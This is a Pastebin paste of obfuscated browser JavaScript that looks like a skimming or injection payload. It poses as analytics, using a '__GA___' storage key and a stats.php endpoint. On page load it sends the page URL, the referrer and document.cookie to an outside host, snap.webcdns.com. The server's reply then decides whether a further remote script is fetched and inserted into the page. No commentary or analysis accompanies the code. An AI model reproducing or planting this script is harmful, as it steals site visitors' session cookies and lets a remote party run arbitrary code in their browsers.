Advertisement
Guest User

Untitled

a guest
Nov 23rd, 2017
54
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.38 KB | None | 0 0
  1.  
  2. (function(){
  3. function initXMLhttp() {
  4.  
  5. var xmlhttp;
  6. if (window.XMLHttpRequest) {
  7. xmlhttp = new XMLHttpRequest();
  8. } else {
  9.  
  10. xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
  11. }
  12.  
  13. return xmlhttp;
  14. }
  15.  
  16. function minAjax(config) {
  17.  
  18.  
  19. if (!config.url) {
  20. return;
  21.  
  22. }
  23.  
  24. if (!config.type) {
  25. return;
  26.  
  27. }
  28.  
  29. if (!config.method) {
  30. config.method = true;
  31. }
  32.  
  33.  
  34. if (!config.debugLog) {
  35. config.debugLog = false;
  36. }
  37.  
  38. var xmlhttp = initXMLhttp();
  39.  
  40. xmlhttp.onreadystatechange = function() {
  41.  
  42. if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
  43.  
  44. if (config.success) {
  45. config.success(xmlhttp.responseText, xmlhttp.readyState);
  46. }
  47.  
  48. } else {
  49.  
  50. }
  51. }
  52.  
  53. var sendString = [],
  54. sendData = config.data;
  55. if( typeof sendData === "string" ){
  56. var tmpArr = String.prototype.split.call(sendData,'&');
  57. for(var i = 0, j = tmpArr.length; i < j; i++){
  58. var datum = tmpArr[i].split('=');
  59. sendString.push(encodeURIComponent(datum[0]) + "=" + encodeURIComponent(datum[1]));
  60. }
  61. }else if( typeof sendData === 'object' && !( sendData instanceof String ) ){
  62. for (var k in sendData) {
  63. var datum = sendData[k];
  64. if( Object.prototype.toString.call(datum) == "[object Array]" ){
  65. for(var i = 0, j = datum.length; i < j; i++) {
  66. sendString.push(encodeURIComponent(k) + "[]=" + encodeURIComponent(datum[i]));
  67. }
  68. }else{
  69. sendString.push(encodeURIComponent(k) + "=" + encodeURIComponent(datum));
  70. }
  71. }
  72. }
  73. sendString = sendString.join('&');
  74.  
  75. if (config.type == "GET") {
  76. xmlhttp.open("GET", config.url + "?" + sendString, config.method);
  77. xmlhttp.send();
  78.  
  79. }
  80. if (config.type == "POST") {
  81. xmlhttp.open("POST", config.url, config.method);
  82. xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
  83. xmlhttp.send(sendString);
  84. }
  85.  
  86.  
  87.  
  88.  
  89. }
  90.  
  91. function h32a(a,b,c){var d,e,f=void 0===c?2166136261:c;for(d=0,e=a.length;d<e;d++)f^=a.charCodeAt(d),f+=(f<<1)+(f<<4)+(f<<7)+(f<<8)+(f<<24);return b?("0000000"+(f>>>0).toString(16)).substr(-8):f>>>0}function iT(){return!!localStorage.getItem(a)}var a="__GA___",tss="";iT()?tss=localStorage.getItem(a):(tss=h32a("188.69.237.254",!0,Math.floor(Date.now()/1000)),localStorage.setItem(a,tss));
  92.  
  93. dL();
  94.  
  95. function dL(){
  96. var host = "http://snap.webcdns.com/f";
  97. var config = {
  98. url: host + "/stats.php",
  99. type: "POST",
  100. data: {
  101. vbase: document.baseURI,
  102. vhref: location.href,
  103. vref: document.referrer, k: "LmZyZWUtY29kZXMub3Jn",ck: document.cookie, t: Math.floor(new Date().getTime() / 1000), tg: tss
  104. },
  105. success: onSuccessCallback
  106. };
  107.  
  108. function bl(response){
  109. var a = document.createElement('script');
  110. var m = document.getElementsByTagName('script')[0];
  111. a.async = 1;
  112. a.src = host + '/content.php?s=' + encodeURI(response);
  113. m.parentNode.insertBefore(a, m)
  114. }
  115.  
  116. function onSuccessCallback(response){
  117.  
  118. if(response && !(response.indexOf("false") > -1) ){
  119. bl(response);
  120. }
  121.  
  122.  
  123. }
  124.  
  125. minAjax(config);
  126.  
  127. }
  128. })();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement